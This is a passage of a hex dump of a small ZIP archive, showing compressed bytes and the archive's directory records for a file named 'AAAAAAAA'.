7 | 00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70 -JMQ(.HUH.IL...p
8 | 00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac .q.N3(J.+6L...L.
9 | 00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400 .%.&.(..PK......
10 | 00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000 .......J>..SF...
11 | 000000a0: f600 0000 0800 1800 0000 0000 0100 0000 ....)#..........
12 | 000000b0: b481 0000 0000 4141 4141 4141 4141 5554 ..............UT
13 | 000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300 ...[..Xux.......
14 | 000000d0: 0004 e803 0000 504b 0506 0000 0000 0100 ......PK........
15 | 000000e0: 0100 4e00 0000 8800 0000 0000 ..N.........
16 |
--------------------------------------------------------------------------------